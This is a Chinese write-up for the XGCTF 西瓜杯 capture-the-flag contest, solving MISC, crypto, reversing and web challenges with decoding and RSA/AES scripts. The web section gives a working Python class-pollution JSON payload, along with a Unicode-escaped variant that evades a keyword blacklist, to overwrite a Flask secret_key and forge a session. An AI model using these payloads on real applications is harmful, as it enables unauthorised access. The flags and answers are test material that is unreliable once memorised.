XGCTF_西瓜杯
题目地址:https://ctf.show/challenges
MISC SignIn 题目:
解题:
使用 Tokeii0 大佬的 地表最强解码器 LoveLy-QRCode-Scanner 解码 得到 3段 flag
ctfshow{Ai_Art_QRc0de_iS_Amz1}
符文之语 题目:
Amn El Ith Tir Sol Ber Ist Sol Sur.
解题
打开链接 是一个视频
开始 被 Amn El Ith Tir Sol Ber Ist Sol Sur. 干扰 研究了好久 暗黑2 游戏
后面 搜索二维码种类 发现 有一种 Aztec Code 码和这个相似
继续搜索 Aztec 相关信息 Wikipedia-Aztec Code 中发现 Aztec 有一个特殊的类型 11x11 的 符文
继续了解 Aztec Code Rune 发现是 一种只能存储 0-255 数字的二维码
通过以上信息 判断需要解密 要先解 符文码(Rune) 没找到相关的解码器,但是找到了生成方法 BarTender Designer 可以 生成 0-255 所有的码进行 对照解密
BarTender Designer 大致步骤
新建barTender文档->空白模板->选择PDF打印机->指定自定义设置->纸张大小A1->方框形状->边距0 0 0 0->行数18列数15
条码->更多条码->Aztec Rune->添加二维码调整位置大小
数据库->文本文件-选择0-255一个一行的txt文件->下一步至完成
二维码码双击->数据源->类型->数据库字段->字段1->完成
打印预览->打印成pdf
将 pdf 转为图片 用python读取每一个码的特征 这里我用到了 Adobe Illustrator 处理矢量pdf到高清 图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import osimport cv2 image = cv2.imread('code.jpg' )def get_color (image, x, y ): if x >= image.shape[1 ]: x = image.shape[1 ] - 5 if y >= image.shape[0 ]: y = image.shape[0 ] - 5 return 1 if sum (image[y, x]) < 255 else 0 def cover_data (data ): tmp = data[0 ] for i in range (1 , 10 ): tmp.append(data[i][0 ]) tmp.append(data[i][-1 ]) tmp += data[-1 ] return '' .join(map (str , tmp))def get_code_color (image, block_size, offset_x, offset_y ): data = [] for i in range (11 ): x = offset_x + block_size * i row = [] for j in range (11 ): y = offset_y + block_size * j row.append(get_color(image, y, x)) data.append(row) return cover_data(data)def get_all_code (): data = {} num = 0 for j in range (18 ): for i in range (15 ): x = 2 + 549 * j y = 2 + 466 * i d = get_code_color(image, 42 , x, y) data[d] = num num += 1 return data template = get_all_code()
提取二维码四周的点的颜色 转为01字符串并构建字典 用于 查询特征对应的数值
然后 下载视频 将视频 的二维码都提取出来 进行匹配
使用 ffmpeg 进行 逐帧导图
1 ffmpeg -i ..\file.mp4 -vf "select='not (mod(n\,1 ))'" -vsync vfr %04 d.png
再提取 每张 二维码 的 特征 进行对比 获取数值 将数值 转为 字符打印
1 2 3 4 5 6 def get_vide_code (): for i in os.listdir(r"E:\Desktop\vcode" ): image = cv2.imread(r"E:\Desktop\vcode\{}" .format (i)) d = get_code_color(image, 60 , 5 , 5 ) num = template[d] print (chr (num), end='' )
发现很多乱码 但是 存在 PK 还有 flag.txt 字符 判断是压缩包的 二进制数据
将数值打印成 2 位16 进制 粘贴进 010 Editor 保存为 ZIP 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def get_vide_code (): for i in os.listdir(r"E:\Desktop\vcode2" ): image = cv2.imread(r"E:\Desktop\vcode2\{}" .format (i)) d = '' try : d = get_code_color(image, 60 , 5 , 5 ) num = template[d] print (hex (num)[2 :].zfill(2 ),end='' ) except : print (i, d, "error" )
解压 压缩包 在一堆 乱码中发现了 flag
此题是动态 flag
你是我的眼 题目:
通过审计代码+眼力获flag
重要提示
flag 区分大小写 ,包括包裹字符
解题:
解压下载的 jar 用 IDEA 打开 Main.class
flag 在线解码
CTFShow{TEST_BASE64_BIANMA}
二维码拼图 题目:
解题:
PhotoShop 通道抠图 拼接 有一块拼不上 不影响解码
ctfshow{de4663c8-dce4-40ba-b0b7-b07d8890d949}
CRYPTO 奇怪的条形码
解题:
PhotoShop 变形修改图片高度 base64 解密 注意有两个字符是p
ctfshow{xigubei_misc_gram_here_flag}
简单密码 题目:
1 647669776 d757e83817372816 e707479707 c 888789757 c 92788 d84838 b878 d9 d
解题:
hex 解码后 分析前几个字符 刚好 减去 位数 就是ctfshow
1 2 3 4 a = [0x64 , 0x76 , 0x69 , 0x77 , 0x6d , 0x75 , 0x7e , 0x83 , 0x81 , 0x73 , 0x72 , 0x81 , 0x6e , 0x70 , 0x74 , 0x79 , 0x70 , 0x7c , 0x88 , 0x87 , 0x89 , 0x75 , 0x7c , 0x92 , 0x78 , 0x8d , 0x84 , 0x83 , 0x8b , 0x87 , 0x8d , 0x9d ]for i in range (len (a)): print (chr (a[i] - (i + 1 )), end='' )
ctfshow{xiguabei_just_ez_signin}
混合密码体系 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from Crypto.Util.number import bytes_to_long,getPrimefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad flag = b'ctfshow{***}' key = b'flag{***}' iv = b'flag{1fake_flag}' padded_plaintext = pad(flag, AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(padded_plaintext) c1 = bytes_to_long(ciphertext)print (f'c1 = {c1} ' ) m = bytes_to_long(key) e = 0x10001 p = getPrime(1024 ) q = getPrime(1024 ) n = p * q c = pow (m,e,n)print (f'p = {p} ' )print (f'q = {q} ' )print (f'n = {n} ' )print (f'c2 = {c} ' )''' c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875 p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903 q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939 n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917 c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244 '''
解题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875 p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903 q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939 n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917 c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244 phi = (p-1 )*(q-1 ) d = gmpy2.invert(0x10001 ,phi) m = pow (c2,d,n) key = long_to_bytes(m) iv = b'flag{1fake_flag}' cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(long_to_bytes(c1))print (plaintext)
ctfshow{Hybrid_password_system_is_chaos}
factor 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from Crypto.Util.number import * import gmpy2 import os from enc import flag hint = os.urandom(36 ) tmp = bytes_to_long(hint) m = bytes_to_long(flag) p = getPrime(512 ) q = getPrime(512 ) d = getPrime(400 ) phi = (p-1 )*(q-1 ) e = gmpy2.invert(d,phi) n = p*q c = pow (m,e,n) leak1 = p^tmp leak2 = q^tmp print(f"n = {n}" ) print(f"e = {e}" ) print(f"c = {c}" ) print(f"leak1 = {leak1}" ) print(f"leak2 = {leak2}" ) ''' n = 14546208488172 88137235743663 40552281785604 06904738124851 39370241808163 53963950721541 84566593126123 09694508196807 71925091152670 38698324044435 44121709949321 96142227905635 22711645647683 57560395854190 01941477905953 42964245946411 28710804595222 66599791339252 61467450030462 13837765903138 03782107531212 75662079615970 3 e = 10463348796391 62538741935101 36609201574523 50067191419373 87054336374118 78855280421681 35531161031114 29585600905002 97375476847358 96660393845515 54907109238912 86887186755733 48847489182651 63151585274431 29554273642808 91600765444324 51978945201474 25909620309367 62237037273839 90625132066670 58790803737118 58513235704113 c = 60700608730139 66833897767860 19012118009783 06010063875269 25200606822216 31021003469204 65298044880066 99949274650899 06298673961897 13753873657197 54666448023326 98063084158741 91048149900822 05005453977437 01344603396819 49131037133783 27341006631851 15087685127781 32786573893529 70506868058369 75743673573816 35982316477364 leak1 = 13342820281239 62517481708518 25868226738108 94195223942279 06103985885053 45106792979625 96800315875604 79804726433746 98281233705865 84840078728059 72912143546278 0 leak2 = 10901899434728 39347356935991 40623492924122 69512201554924 83567271078058 06344657990692 11035290729536 29060576102481 87708439015016 94556825737462 45747123515153 0 '''
解题:
factordb 查询到 分解数
使用分解的 数 求解
1 2 3 4 5 6 7 8 9 10 e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113 p = 10901899434728393473569359914062349292412269512201554924835672710780357314223209262466102457697460432424101968655028724203256351586952677194451591494555863 q = 13342820281239625174817085182586822673810894195223942279061039858850820238924757629478502588722905946742147654397240559596444430114180174785691409037959681 c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364 phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi) n = p * q m = pow (c, d, n)print (long_to_bytes(m))
cftshow{do_you_know_what_is_xor_and_prune!!!}
RE pe ida 打开 F5 出flag
CTFShow{i95f5417b37c5e8019372de8737fI}
一个西瓜切两半你一半我一半 在线 pyc 反编译
用文本的 秘钥和 密文 求解
1 2 3 4 5 6 7 8 9 10 11 12 m = '乃乾觅甯剏乳厡侻丨厏扝乌博丿乜规甲剌乶厝侥丿卻扚丠厘丿乎覟瓬剤' key = '一个西瓜切两半你一半我一半' tmp = '' for i in m: tmp += chr (ord (i) + 32 ) dec = '' for i in range (len (tmp)): dec += chr (ord (tmp[i]) - ord (key[i % len (key)]))print (dec)
ctfshow{Hell0_Reverse_Qi@n_D@0}
探索进制的奥秘 ida 打开 发现一串 16进制字符串 在线解密
CTFShow{Thank_CTFSHOW_Sky}
E 运行 提示 有两种思路 猜测是 静态分析 和动态调试
使用OD打开易语言程序 F8 运行到 输入 在 汇编窗口 call 指令出下断点 随便输入内容 回车 在EBX寄存器出现 flag
CTFSHOW{JIAMI_SHOW_YAN}
web CodeInject 直接执行命令 查找文件
读取 flag
ctfshow{15070ac9-2e07-48fe-a36b-f89e54db3a1c}
easy_polluted 题目
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask, session, redirect, url_for,request,render_templateimport osimport hashlibimport jsonimport redef generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest()def filter (user_input ): blacklisted_patterns = ['init' , 'global' , 'env' , 'app' , '_' , 'string' ] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5()class evil (): def __init__ (self ): pass @app.route('/' ,methods=['POST' ] ) def index (): username = request.form.get('username' ) password = request.form.get('password' ) session["username" ] = username session["password" ] = password Evil = evil() if request.data: if filter (str (request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else : merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html" )@app.route('/admin' ,methods=['POST' , 'GET' ] ) def templates (): username = session.get("username" , None ) password = session.get("password" , None ) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html" , flag=open ("/flag" , "rt" ).read()) else : return "Unauthorized" else : return f'Hello, This is the POLLUTED page.' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
flag.html
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > index</title > </head > <body > 这又是什么jinja语法啊! [#flag#]</body > </html >
解题:
分析源代码 存在 原型链污染 参考1 参考2 需要绕过 黑名单 来修改 secret_key 和 jinja2 模版语法 为 [# #] 除了修改变量 还要发送 from-data 将用户名和密码设置到session 在伪造jwt获取flag
secret_key 的路径为 __init__._globals _.app.secret_key
模版语法 的路径为 __init__._globals _.app.jinja_env.variable_start_string 和 variable_end_string
正常payload
1 2 3 4 5 6 7 8 9 10 11 12 13 { "__init__" : { "__globals__" : { "app" : { "secret_key" : "adminer" , "jinja_env" : { "variable_start_string" : "[#" , "variable_end_string" : "#]" } } } } }
unioncode 绕过 黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 { "\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F" : { "\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F" : { "\u0061\u0070\u0070" : { "\u0073\u0065\u0063\u0072\u0065\u0074\u005F\u006B\u0065\u0079" : "adminer" , "jinja\u005F\u0065\u006E\u0076" : { "variable\u005Fstart\u005F\u0073\u0074\u0072\u0069\u006E\u0067" : "[#" , "variable\u005Fend\u005F\u0073\u0074\u0072\u0069\u006E\u0067" : "#]" } } } } }
污染变量
设置 session
伪造 jwt
获取flag (如果在修改模版语法前请求了/admin, 因为模板已经渲染了 无发显示flag 重启环境 先污染再请求/admin)
ctfshow{a71127f2-25ed-47ca-82fa-10e805a6b2b2}